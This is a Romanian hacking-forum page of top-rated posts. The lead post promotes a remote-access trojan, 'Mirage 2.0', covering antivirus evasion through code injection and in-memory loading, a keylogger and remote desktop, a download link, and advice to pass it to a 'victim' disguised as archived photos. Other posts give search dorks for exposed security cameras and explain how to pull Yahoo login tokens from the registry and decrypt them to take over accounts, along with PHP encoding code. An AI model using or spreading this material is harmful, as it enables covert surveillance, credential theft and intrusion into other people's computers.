Jump to content

Leaderboard

Popular Content

Showing content with the highest reputation on 04/21/11 in all areas

  1. 1.) De ce este special? a) Gateway-ul Un trojan "clasic" are doua componente(Client si Server). Problema apare cind serverul si/sau clientul se afla dupa un router, comunicare dintre cele doua componente devenind mai complicata. Daca luam in considerare si ipurile dinamice, comunicarea e aproape imposibila. Cine a scris un trojan stie despre ce vorbesc. Mirage 2.0 are in plus, inca un executabil numit Gateway. Serverul si Clientul comunica prin Gateway! Gatewayul trebuie pornit pe un calculator la care aveti acces, astfel puteti configura firewallul, routerul (daca exista), important e sa aveti portul 516 deschis. Desigur Clientul si Gatewayul poate fi pornit pe acelasi sistem, nu e obligatoriu un al treila computer, dar in unele cazuri e recomandat si/sau chiar necesar! Ideal ar fi ca Gatewayul(PC-ul) sa aiba IP static, fara router. In cazul ipurilor dinamice, problema se rezolva cu ajutorul unui server FTP. Gatewayul uploadeza ipul curent intr-un fisier txt, Serverul downlodeaza fisierul txt, citeste ipul si se conecteaza la Gateway. Trebuie doar sa aveti acces la un server FTP. Astfel problema routerilor si ipurilor dinamice s-a rezolvat! b.) Server-ul In ziua de azi e aproape imposibil sa scrii un server mai complex fara a fi detectat de antivirusi. Cu technici avansate de detectare (heuristic, file emulation, generic signature detection etc..), serverul n-are nicio sansa. Solutia e sa folosim un pseudoserver(un server fals). Adica un program micut, care nu contine cod suspect(keylogger, remote desktop, process viewer etc), astfel nu "irita" nici un antivirus. Porneste cu windowsul dar nu foloseste startup-urile obisnuite cum ar fi: - HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce - HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices - HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run - HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce - HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run - HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce - startup folder - autoexec.bat - config.sys - etc, etc... Dupa ce a pornit pseudoserverul, se injecteza in memoria unui program de windows(folosind memory and code injection), astfel devine invizibil. Dupa procesul de injectare deschide un port si se conecteaza la gateway. Fara procesul de injectare, de obicei programele de firewall si antivirus se "autosesizeaza" si serverul e blocat, dar pseudoserverul nostru facind parte din memoria unui program legitim, scapa cu fata curata. Dupa conectare downloadeaza serverul real, dar o face intr-un mod mai special! Nu scrie nici un byte pe hard, serverul e downloadat intr-un MemoryStream(traiasca programarea!!!), si e lansat direct din memorie! Ati ghicit unde!!! Tot in memoria programului de windows. Astfel si serverul real capata "imunitate parlamentara" ! Dupa injectarea serverului real, pseudoserverul se sinucide", stergind astfel orice urma si legatura dintre server-->pseudoserver! Observatii!!!! Inainte sa deschidem sampania, trebuie mentionat faptul ca metoda nici pe de parte nu este perfecta! De fapt nu exista o metoda perfecta! Sint programe care detecteaza memory(code) injection, astfel si pseudoserverul poate fi blocat, iar daca un antivirus are "signatura" pseudoserverului, programul nostru moare inaite de lansare. Cum ajunge trojanul pe mina programatorilor de antiv.? Prin folosirea unor functii stupide ca: Open CD, Invert screen, Swap mouse button etc... care va dau de gol, iar "victima" da un "submit for analysis" la fisier. Mirage 2.0 nu contine astfel de functii, dar din pacate n-are un sistem antiprost, astfel totul depinde de utilizator. O alta problema despre care trebuie sa vorbim apare la sistemele de operare 64biti. Un proces de 32 bit(pseudoserverul), nu poate fi injectat intr-un proces de 64 de bit. Am facut un mic artificiu folosind emulatorul WOW(google daca nu stiti) al sistemelor de 64 de biti, astfel serverul porneste dar "invisibilitatea" e compromisa. Din lipsa de timp n-am testat amanuntit cum se comporta pe sisteme de 64 bit, dar cred ca se descurca ! Inca ceva: pseudoserverul(la prima executie) se instaleaza doar daca "victima" este un user cu drepturi de administrator. De ce? Pentru ca modifica fisiere de sistem, ce nu e posibil cu un user fara drepturi. Odata infectat, nu mai are importanta userul, pseudoserverul porneste fara probleme. Concluzie! Daca serverul e detectat sa nu ma injurati ! Desi metoda nu este perfecta, pseudoserverul are sanse mult mai mari( in comparatie cu un server "clasic") sa ramana nedetectat! Serverul real se afla linga gateway, adica in ograda noastra. In cazul in care e detectat de un antivirus, o putem pune in: "Exclusion list". Inainte sa trecem mai departe, cred ca exista totusi o solutie aproape perfecta, pentru a crea un server nedetectabil: driverele user-mode, dar e o alta poveste! 2.) Fisierele Mirage 2.0 In archiva aveti 4 foldere: Client, GateWay, Server si Server_NoInstall + un fisier ReadmeFirst.rtf! Inainte de toate cititi fisierul ReadmeFirst.rtf. Aici gasiti intructiuni pt. configuratea programelor(Client, Gateway si Server) + alte informatii. L-am scris in engleza sa inteleaga si colegii de peste ocean. a. Folderul Client: 1. Mirage - Client 2.0.exe --> clientul 2. Dscr.dll --> functii speciale client 3. Lsproc.dll --> functii speciale client b. Folderul Gateway: 1. Mirage - Gateway 2.0.exe --> gatewayul 2. Exsrv.dll --> serverul real c.Folderul Server 1. Mirage - Server 2.0.exe --> fisierul care contie pseudoserverul. Pseudoserverul la prima lansare se "deghizeaza" intr-un self extracting zip archive. Spuneti la victima ca sint poze archivate! Cind inceraca sa le dezarchiveze apare un mesaj de eroar, si pserverul se instaleaza. d. Folderul Server_NoInstall: Acest folder contine serverul real, dar e intr-o forma vizibila. Am compilat pt. local test. Acest fisier nu infecteaza sistemul si conectarea la gateway se face manual, adica trebuie sa introduceti ipul, portul, etc.. Pt. a testa Mirage 2.0, porniti Clientul si Gateway-ul pe calc. vostru, iar severul sau serverul_noinstall pe un Virtual PC. Daca aveti un LAN la dispozitie e si mai bine. 1. Mirage - Server 2.0 - No install.exe --> serverul real, noinstall 2. Dscr.dll --> functii speciale server_noinstall 3. Lsproc.dll --> functii speciale server_noinstall Singurul fisier car "musca" e in folderul c. Aveti grija sa nu-l porniti din greseala. Daca n-a fost configurat nu reprezinta nici un pericol, chiar daca e pornit. Daca e configurat si se conecteaza la un gateway, il puteti dezinstala cu ajutorul clientului(butonul Stop, Restart and Remove server). 3.) Functii Mirage 2.0 a. Remote desktop - pe localhost nu functioneza(daca si serverul si clientul e pe 127.0.0.1)! Fiti destepti! nu folositi butonul "Control"! b. File manager - este un file manager avansat, daca ati folosit Total commander o sa va placa c. Key spy d. Sound recorder - pe localhost nu functioneza e. Registry editor f. Window and process manager g. etc... 4.) Screenshot-uri https://rapidshare.com/files/3314247664/Mirage_2.0.rar Parola: Mirage1234 Astept intrebari, sugestii si posibile greseli.
    1 point
  2. Daca vreti nologine am cu carul nu mai are rost sa le postez aici sau daca o cereti le postezi nu e nici o problema. Cereti-mi pe MagicThunder de acum ca nu o sa mai intru pe DKMT
    1 point
  3. @Xander - Corect Nu. Rationamentu e total gresit. Din perspectiva ta ajungi instant(sau aproape instant). Asta prin prisma teoriei relativitatii si a dilatarii timpului. (Think about it. Mergi cu o anumita fractiune din viteza luminiii si pentru tine un an dureaza cat 10 ani pe pamant. Cu cat te apropii mai mult de viteza luminii cu atat timpul se apropie de 0 (pentru tine) ). Pentru pamant timpul e constant indiferent de viteza ta. Mergand cu viteza luminii pentru tine timpul aproape ca sta in loc. Oricum.. toata lumea stie ca un om sau orice obiect cu masa nu poate sa atinga viteza luminii. Asta pentru ca de la 80% din viteza luminii, orice energie "pompata" in marirea vitezei luminii incepe sa "intre" in masa obiectului. De aceea pentru a atinge viteza luminii nu numai ca vei avea nevoie de o cantitate infinita de energie. Vei fi si extrem de greu. Din perspectiva pamantului dureaza, evident, 10 ani lumina. Daca depasesti viteza luminii timpul incepe sa devina negativ, deci calatoresti in trecut. Totusi. Ca sa vorbesti de depasirea vitezei luminii e riscant. Viteza luminii e constanta, e .. atat de constanta incat tot universul(timp, spatiu, materie) incepe sa se schimbe in functie de ea. Nu poti gasi o sursa infinita de energie. Mai intai ganditi-va la conceptul de infinit. Nici universul nu cred ca e infinit. Ca atare nici daca il transformi pe tot in energie si incerci sa-ti maresti viteza peste(sau aproape de) viteza luminii nu vei reusi. Consider posibila teleportarea, invizibilitatea, calatoria in viitor... cam tot in afara de calatoria in trecut.
    1 point
  4. Iti urmareste SRI-ul IP-ul. E indexul default la powerhost.
    1 point
  5. Nu credeam ca o sa faca furori acest tutorial si sper ca ati inteles ceva :@ , continuati cu aprecierile
    -1 points
  6. Am citit pe un forum si am gasit mai multe comenzi:) Pentru Camerele de Securitate : intitle:liveapplet inurl:LvAppl Camere live de pe globul pamantesc “intitle:”Live View / - AXIS inurl:indexFrame.shtml”Axis Video Server” intitle:”WJ-NT104 Main” intitle:”snc-rz30 home"
    -1 points
  7. Structured Query Language Aici voi face un tutorial despre SQL unde voi face cateva posturi .In exemplele pe cale le voi face voi folosi ca database MySql care poate fi descarcat de aici pt cei care utilizeaza Windows MySQL :: Download MySQL Community Server Majoritate Distro linux il au in repository ,eu voi folosi ca distro Backtrack 4 final unde MySql este instalat va trebui doar creat un user si pornit serverul care va merge pe portul 3306/tcp de default . Pt a efectual aceste exemple se poate folosi ca client mysql-query-browser care poate fi instalat din Synaptic ,dupa care dati in terminal comandul mysql-query-browser si veti avea o Gui in care puteti lucra http://img.brothersoft.com/screenshots/softimage/m/mysql_query_browser_for_windows-71868-1.jpeg Inaite de a incepe voi descrie cateva lucruri pe care le vom studia .Pt o definitie a SQL va trimit aici SQL - Wikipedia, the free encyclopedia In acest tutorial vom studia urmatoarele lucruri: 0-cateva carcteristici a unui database relational 1-cum sa facem un tabel 2-cum sa introducemsi sa modificam date 3-cum sa interogam un database 4-cum sa facem selectii 5-cum sa lucram cu mai multe tabele 0-cateva caracteristici a unui database relational Voi incerva sa fac putina teorie,mai multa practica sa se inteleaga mai bine limbajul pe care il folosecs aceste database se chiama SQL Structured Query Language A iesit pentru prima data in practica in anul 1981 din initiativa unei companii care se chiama IBM (presupun ca ati auzit de ea)avand numele de Structured Query Language/Data System(SQL/DS) Este un limbaj specializat , nu se poate folosi pt a creea grafica sau pentru exercitii matematice ci doar pt a lucra pe tabelele unui database relational . Este un limbaj cu care nu se pot efectua procedure (nu explica computerului ce trebuie sa faca ) Descrie computerului doar ceea ce vrea sa obtina Multi se intreb ce fel de database RDBMS sa foloseasca? Pt exeplele pe care le voi faca am ales MySql doar pt faptul ca e gratis si se pot efectua multe tipuri de exemple ,ceea ce cu alte tipuri de database e putin mai divers. Oricum exista mai multe tipuri de database: Microsoft SQL Server ,Oracle,Sybase s.a Cu SQL se pot creea database Comenzile SQL sunt clasificate in 3 famili (pot fi de 3 tipuri): comenzi care ajuta la creearea si modificarea unui tabel,care formeaza limajul pt a defini datele Data Definition Language DDL - comenzi care interogheaza tabelele pt a extrage informatii , care formeaza limbajul pt a manipula datele Data Manipulation Language DML comenzi care se folosesc pt a acorda sau retrage autorizatii in sistemele unde se lucreaza cu SQL unde sunt mai multi useri de exemplu cum sunt autorizatiile intrun sistem Unix/Linux si formeaza limbajul Data Control Language DCL
    -1 points
  8. Despre Yahoo! Autor: SlicK [slick@rstcenter.com] In primul rand vreau sa-mi cer scuze pentru inevitabilele greseli de ortografie deoarece sunt multe subiecte pe care vreau sa le acopar in acest articol si nu am timp sa mai si verific ce am scris deja. Urmatorul articol este rezultatul a vreo doua saptamani de cautari, teste, munca si nervi si va acoperi cateva aspecte ale Yahoo'ului cred eu destul de interesante pe care poate ca unii dintre voi le cunoasteti deja, scopul fiind sa clarifice cateva "mituri" despre Yahoo si sa raspunda la unele din intrebarile pe care poate vi le-ati pus vreodata. PARTEA I. Algoritmul de codare "yahoo64" Acest algoritm este folosit de Yahoo oriunde trebuie transformat un sir de caractere neprintabile intr-un sir de caractere printabil. Se numeste "codare" si nu "criptare" deoarece nu ofera absolut nici o protectie pentru sirul de caractere de codat. Fara a intra in aspecte criptografice trebuie metionat ca yahoo64 este foarte asemanator cu base64 insa are un charset extins. Charsetul yahoo64 este urmatorul "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789._" yahoo64 are cateva caracteristici distincte care trebuie mentionate: > toate caracterele din stringul codat fac parte din charsetul de mai sus > lungimea stringului este multiplu de 4 > in functie de lungimea stringului initial, la sfarsitul stringului criptat ultimele caractere pot fi "-" sau "--". Pentru mai multe detalii studiati cele doua functii php(pentru codare si decodare) de la sfarsitul acestui articol. PARTEA II. Analiza tokenului Yahoo Din cate am observat pana acum tokenul Yahoo este o insumare a userului si parolei de Yahoo, unic pentru fiecare username in parte dar care se modifica (doar partial) la schimbarea parolei. In esenta posesia acest token exprima ca posesorul este fie userul fie o entitate care are permisiunea userului de a actiona in numele acestuia pe serverele Yahoo. Un user isi poate obtine acest token prin accesarea linkului urmator: [url]https://login.yahoo.com/config/pwtoken_get?src=ymsgr&login=[/url][USERNAME]&passwd=[PASSWORD] unde [uSERNAME] si [PASSWORD] sunt o combinatie username/parola Yahoo VALIDE. Utilitatea acestui token este ca poate oferi oricand un COOKIE valid de Yahoo. [url]https://login.yahoo.com/config/pwtoken_login?src=ymsgr&token=[/url][TOKEN] Un exemplu de raspuns la un reqest catre "https://login.yahoo.com/config/pwtoken_get" poate fi acesta: 0 ymsgr=AGG6e0diD9m.3D4YlFPVcdBT1wFXKSBWP0Hl.gyQKd.qec8- partnerid=KSBWP0Hl.gyQKd.qec8- "ymsgr" este tokenul despre care am vorbit mai devreme si dupa cum se observa "partnerid" face parte din acest token (la sfarsit). Acest "partnerid" este unic pentru fiecare utilizator in parte si nu se modifica la schimbarea parolei, iar lungimea acestuia variaza in functie de lungimea username'ului. Dupa cum se poate observa lungimea tokenului este de 48 si se termina cu un "-" deci este evindent codat cu yahoo64. Dupa decodare obtinem urmatorul sir de caractere (unde fiecare 2 caractere reprezinta valoarea hexadecimala a unui singur caracter din tokenul decodat): 00 61 BA 7B 47 62 0F D9 BE DC 3E 18 94 53 D5 71 D0 53 D7 01 57 29 20 56 3F 41 E5 FA 0C 90 29 DF AA 79 CF La toate tokenurile pe care le-am vazut pana acum primul caracter este intotdeauna "0x00" Urmatoarele 4 caractere reprezinta timestampul (numarul de secunde care au trecut din 1-1-1970) la care userul a fost creeat sau cand parola a fost schimbata, doar ca timestampul este inversat deci pentru exemplul de mai sus timestampul va fi 0x477BBA61 (decimal 1199290977) adica "Wed, 2 Jan 2008 16:22:57 GMT" Daca decodam "partnerid" vom obtine urmatorul string: 29 20 56 3F 41 E5 FA 0C 90 29 DF AA 79 CF care dupa cum sa observa sunt ultimele 14 caractere de la sfarsitul tokenului. Daca din token eliminam primul caracter (00) timestampul (61 BA 7B 47) si parnerid'ul decodat vom ramane cu 62 0F D9 BE DC 3E 18 94 53 D5 71 D0 53 D7 01 57 Acest string rezultat are o lungime de 16 caractere ceea ce duce la concluzia ca este un hash MD5 (md5() produce un hash de 128 de biti adica 16 caractere intre 0x00 si 0xFF, a nu se confunda cu md5_hex() care produce un string de 32 de caractere reprezentand valorile hexadecimale ale celor 16 caractere produse de md5() ) La schimbarea parolei se modifica doar timestampul si acest hash MD5 ceea ce ma face sa cred ca din stringul initial (care produce hashul) face parte fie timestampul fie parola fie ambele. Trebuie sa mentionez pentru cei care vor face teste ca acest token trebuie pastrat SECRET deoarece dupa cum am spus si mai sus cunoasterea tokenului poate duce la compromiterea contului (parola NU trebuie sa fie cunoscuta pentru a obtine un set de cookiuri) PARTEA III. Yahoo! Messenger "Remember my ID & password" Incepand cu versiunea 7.x.x.x Yahoo! Messnger NU mai memoreaza parola atunci cand optiunea "Remember my ID & password" este bifata. In schimb este memorat tokenul despre care am vorbit mai sus deoarece dupa cum o sa arat mai tarziu tokenul este suficient pentru logarea cu succes la serviciul messenger. Pentru memorare tokenul este criptat si stocat in registrii windows in cheia HKEY_CURRENT_USER\Software\Yahoo\Pager\ETS Userul este de asemenea salvat deoarece este necesar pentru decriptare HKEY_CURRENT_USER\Software\Yahoo\Pager\Yahoo! User ID Nu voi da un exemplu de astfel de string deoarece desi algoritmul de criptare imi este deocamdata necunoscut poate fi totusi decriptat si extras un token folosind functii din "YahooMessenger.exe". Analiza pe care am facut-o unui string ETS este destul de sumara: tokenul este criptat folosind o cheie formata din "MBCS sucks"+USERNAME. Stringul rezultat fiind apoi codat cu yahoo64 si stocat in registrii la cheia ETS. Pentru crackeri decriptarea se face in "YahooMessenger.exe" (8.1.0.421) la offsetul 0x004862AA unde functia locala de la offsetul 0x006FCEC0 primeste urmatorii 9 parametrii 1. Stringul ETS 2. Lungimea stringului ETS 3. Pointer catre tokenul decriptat 4. Pointer catre lungimea tokenului 5. Cheia de decriptare "MBCS sucks[uSERNAME]" 6. Lungimea cheii de decriptare 7. 0x00 8. 0x00 9. 0x00 PARTEA IV. Autentificarea YMSGR v15 In continuare voi presupune ca sunteti deja familiarizati cu protocolul Yahoo! Messenger(formarea pachetelor si parametrii unui pachet) Este de mentionat ca din motive de compatibilitate YMSGR15 accepta si logarea clasica user/password dar mult mai important este ca Yahoo! Messnger foloseste si logarea cu COOKIE. Pentru o logare cu succes Yahoo! Messnger face urmatorii pasi: -Daca optiunea "Remember my ID & password" este bifata decripteaza stringul ETS si obtine un token, daca nu va folosi userul si parola introduse pentru a face un request la "https://login.yahoo.com/config/pwtoken_get" pentru a obtine tokenul -Dupa conectarea la unul din serverele yahoo trimite un pachet VERIFY (0x4C) -Daca primeste un raspuns valid VERIFY de la server incepe procedura de autentificare -Trimite un pachet AUTH (0x57) cu parametrii: "1" - USERNAME -Primeste un pachet AUTHRESP (0x54) din care extrage valoarea parametrului "94" (CHALLENGE) -Avand un token valid al userului va face un request catre "https://login.yahoo.com/config/pwtoken_login" pentru a obtine valorile "Y" si "T" ale cookieului precum si valorea "crumb" (CRUMB) -Creeaza un string (STRING307) astfel yahoo64(md5(CRUMB+CHALLENGE)) -Trimite un pachet AUTHRESP (0x54) cu parametrii: "277" - parametrul Y "278" - parametrul T "307" - STRING307 "0" - USERNAME "2" - USRNAME "2" - "1" "1" - USERNAME "244" - un numar random (ex. "2097087") "98" - "us" "135" - versiunea clientului (ex. "8.1.0.421") "148" - "-120" -Daca totul e in regula userul este autentificat iar serverul trimite buddy listul si alte informatii cum ar mailuri noi, add buddy request etc. PARTEA V. Analiza si explicatia cookiurilor Yahoo Odata cu autentificarea la un serviciu Yahoo userul primeste cookiurile "Y" si "T" deci analiza mea a fost concentrata doar asupra acestor 2 cookiuri. Cookieul Y poate fi configurat sa expire dupa o valoare intre 15 minute si 24 de ore dar cookieul T expira de obicei la inchiderea browserului sau la logout. Pentru serviciile cu securitate scazuta cum ar fi pagina "My Yahoo" cookiul Y este suficient dar pentru cele mai importante cum ar fi mail,calendar etc.. cookieul T este obligatoriu. Dupa cum probabil ati observat un cookie Yahoo este format din perechi "parametru=valoare". In continuare voi analiza parametrii care formeaza fiecare cookie si voi incercat sa prezent o explicatie pentru prezenta sau scopul lor. -Cookieul Y: Exemplu: Y=v=1&n=9mioklmar8tku&l=glagla/o&p=m2509oh012000000&r=in&lg=en-US&intl=us&np=1 Contine usernameul,un ID unic si cateva informatii demografice. De obicei acesta ramane neschimbat pentru un anumit user modificandu-se doar ID'ul unic (la schimbarea parolei) si informatiile demografice (la schimbarea adresei, limba utilizata, etc...) Dupa cum se observa este format din parametrii v,n,l,p,r,lg,intl si np dar nu toti sunt necesari pentru autentificarea cu succes al unui user. Parametrul "n" este un ID unic intern al utilizatorului (se modifica doar la schimbarea parolei) care este comparat cu o valoare interna yahoo la anumite requesturi pentru obtinerea de informatii sau pentru expirarea automata a tuturor cookiurilor vechi odata cu schimbarea parolei. Parametrul "l" este usernameul codat cu un algoritm simplu de substitutie unde fiecare caracter din user are un corespondent intr-un alt string dupa cum urmeaza: PLAINTXT=klmnopqrstuvwxyz0123457896abcdefghij._ ENCODED=abcdefghijklmnopqrstuvxyzw0123456789._ Astfel pentru cookiul de mai sus username'ul este "qvkqvk" Parametrul "p" contine diverse informatii despre utilizator cum ar fi sex, data nasterii, tara, etc. Restul parametrilor contin de asemenea diverse informatii despre limba, anumite setari, etc. -Cookieul T: Exemplu: T=z=Cr7eHBCxQfHBJkF/Bqb4dnUMzIwBjVPNDQzNDFOME8-&a=QAE&sk=DAAk3Lb2EiyEEM&ks=EAA3i37q0zwFhuCnF6cflaKHg--~A&d=c2wBTkRVM0FUSTRNek0wTXpZNU56Zy0BYQFRQUUBenoBQ3I3ZUhCZ1dBAXRpcAFzNkpUZEM- Contine un timestamp si o semnatura digitala simetrica. Acesta se modifica la modificarea timpului(oricate cookiuri generate intr-o singura secunda sunt identice) Este format din parametrii z,a,sk,ks si d dar pentru autentificare la serviciile web sunt necesari doar parametrii sk,ks si d. Pentru autentificare Yahoo! Messenger "z" este insa obligatoriu. Parametrul "z" exista pentru compatibilitate cu servicii mai vechi dar este de asemenea in stransa legatura cu valoarea CRUMB obtinuta pentru autentificarea Yahoo! Messenger. Acesta este un string criptat cu yahoo64 dar decodarea acestuia nu prezinta nici o informatie evidenta) Parametrul "a" (de obicei are valoarea "QAE") contine diverse flaguri pentru expirare si protectia minorilor. Parametrul "sk" reprezinta sesiunea (session key) si este calculat din username, ID unic si timestamp precum si dintr-un string cunoscut doar pe serverele Yahoo (Yahoo shared secret) Parametrul "ks" reprezinta (din observatiile mele) un hash al parolei utilizatorului sau un alt string care inlocuieste parola deoarece lipsa acestui este urmata de obligatia introducerii parolei(pe serverele web Yahoo). Daca ignoram primele 3 caractere care nu se schimba ("DAA") si ultimele 2 caractere care de asemenea nu se schimba ("~A") obtinem un string codat yahoo64 reprezentand cel mai probabil un hash MD5 (stringul decodat are 16 caractere) cel mai probabil de asemenea generat folosind un shared secret. Parametrul "d" contine sesiunea utilizatorului si cateva informatii pentru compatibilitate. Acesta este un string codat yahoo64. Dupa decodarea valorii "d" din exemplul de mai sus obtinem urmatorul string: (unde [sEP] este caracterul hexadecimal 0x01) sl[SEP]NDU3ATI4MzM0MzY5Nzg-[SEP]a[SEP]QAE[SEP]zz[SEP]Cr7eHBgWA[SEP]tip[SEP]s6JTdC Se poate observa ca acest string este de asemenea o insiruire de perechi "parametru=valoare" astfel: sl=NDU3ATI4MzM0MzY5Nzg-&a=QAE&zz=Cr7eHBgWA&tip=s6JTdC Valoarea parametrului "sl" este de asemenea un string criptat yahoo64: 457[SEP]2833436978 (sau 457=2833436978) Acest numar este unic pentru fiecare username si nu se modifica la schimbarea parolei Parametrul "a" este acelasi cu parametrul "a" din cookiul "T" Parametrul "zz" reprezinta in esenta un contor de timp. Valorile pe care le poate lua un caracter facand parte din charsetul yahoo64 cu singura diferenta ca "_" este inlocuit de "/". Cea mai buna analogie pe care o pot face incercand sa explic acest parametru este aceea cu un kilometraj de masina, Adica fiecare caracter(de la stanga la dreapta) poate fi asemanata cu o rotita cu valorile din charset. atunci cand primul caracter termina o rotatie completa prin toate pozitiile, al doilea caracter creste cu o pozitie continuand in aclasi mod pana la al 6-lea caracter. Stiind ca primul caracter creste cu o pozitie pe secunda se poate afla timestampul la care un anumit cookie a fost generat. (cand userul s-a logat serviciul respectiv) Parametrul "tip" este acelasi pentru toti utilizatorii Yahoo dar se schimba periodic (nu stiu intervalul exact) Cam atat cu acest articol si felicitari pentru cei care au avut rabdarea sa-l citeasca pana la capat. Astept pareri sau adaugiri cu privire la aceste subiecte. Algoritmul de codare yahoo64: <?php //yahoo64 encode/decode functions by SlicK [slick@rstcenter.com] function yahoo64_encode($source) { $yahoo64="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789._"; $limit=strlen($source)-(strlen($source)%3); $dest=""; for($i=0;$i<$limit;$i+=3) { $dest.=$yahoo64[ord($source[$i])>>2]; $dest.=$yahoo64[((ord($source[$i])<<4)&0x30) | (ord($source[$i+1])>>4)]; $dest.=$yahoo64[((ord($source[$i+1])<<2)&0x3C) | (ord($source[$i+2])>>6)]; $dest.=$yahoo64[ord($source[$i+2])&0x3F]; } switch(strlen($source)-$limit) { case 1: { $dest.=$yahoo64[ord($source[$i])>>2]; $dest.=$yahoo64[(ord($source[$i])<<4)&0x30]; $dest.='--'; } break; case 2: { $dest.=$yahoo64[ord($source[$i])>>2]; $dest.=$yahoo64[((ord($source[$i])<<4)&0x30) | (ord($source[$i+1])>>4)]; $dest.=$yahoo64[((ord($source[$i+1])<<2)&0x3c)]; $dest.='-'; } break; } return($dest); } function Index($string,$chr) { for($i=0;$i<64;$i++) { if($string[$i]==$chr) { return($i); } } return(-1); } function yahoo64_decode($source) { $yahoo64="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789._"; $len=strlen($source); if($source[$len-1]=='-') { $plus=2; } if($source[$len-2]=='-') { $plus=1; } if($plus>0) { $len-=4; }; $dest=""; for($i=0;$i<$len;$i+=4) { $chr1=Index($yahoo64,$source[$i]); $chr2=Index($yahoo64,$source[$i+1]); $chr3=Index($yahoo64,$source[$i+2]); $chr4=Index($yahoo64,$source[$i+3]); $dest.=chr(($chr1<<2)|($chr2>>4)); $dest.=chr((($chr2&0xF)<<4)|($chr3>>2)); $dest.=chr((($chr3&0x3)<<6)|($chr4&0x3F)); } switch($plus) { case 1: { $chr1=Index($yahoo64,$source[$i]); $chr2=Index($yahoo64,$source[$i+1]); $dest.=chr(($chr1<<2)|($chr2>>4)); } break; case 2: { $chr1=Index($yahoo64,$source[$i]); $chr2=Index($yahoo64,$source[$i+1]); $chr3=Index($yahoo64,$source[$i+2]); $dest.=chr(($chr1<<2)|($chr2>>4)); $dest.=chr((($chr2&0xF)<<4)|($chr3>>2)); } break; } return($dest); } //usage example $string="any string"; print("Original string=$string \n"); $encoded=yahoo64_encode($string); print("Encoded string=$encoded \n"); $decoded=yahoo64_decode($encoded); print("Decoded string=$decoded \n"); ?>
    -1 points
×
×
  • Create New...